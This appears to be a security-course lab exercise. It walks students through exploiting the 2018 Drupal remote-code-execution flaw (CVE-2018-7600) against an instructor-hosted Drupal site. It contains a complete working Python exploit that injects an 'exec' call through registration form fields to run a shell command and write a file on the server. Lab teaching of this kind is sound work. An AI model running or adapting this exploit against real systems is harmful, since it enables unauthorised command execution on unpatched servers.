Drupal Command Injection (20 pts)

Background

In April, 2018, a critical Drupal vulnerability was announced, and exploit code became available, as detailed here:

https://thehackernews.com/2018/04/drupal-rce-exploit-code.html

In this project, you'll perform that attack.

Viewing the Vulnerable Website

In a browser, go to:

https://drupal.samsclass.info/

It's just a default installation of Drupal, as shown below.

Preparing the Attack

Using a text editor, such as nano or Notepad, create a file named dru.py containing this code. Change the filename YOURNAME to something unique in all three places it appears. 
import sys
import requests

# Based on https://github.com/a2u/CVE-2018-7600 by Vitalii Rudnykh

target = "https://drupal.samsclass.info/"

url = target + 'user/register?element_parents=account/mail/' \
      + '%23value&ajax_form=1&_wrapper_format=drupal_ajax' 
      
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 
           'mail[#post_render][]': 'exec', 'mail[#type]': 'markup',
           'mail[#markup]': 'echo ";-)" | tee YOURNAME.txt'}

r = requests.post(url, data=payload)

check = requests.get(target + 'YOURNAME.txt')
if check.status_code != 200:
  sys.exit("Not exploitable")
  
print ('\nCheck: '+target+'YOURNAME.txt')

Running the Attack

In a Terminal or Command Prompt window, execute this command: 
python dru.py
The attack succeeds, creating a file on the target server, as shown below.
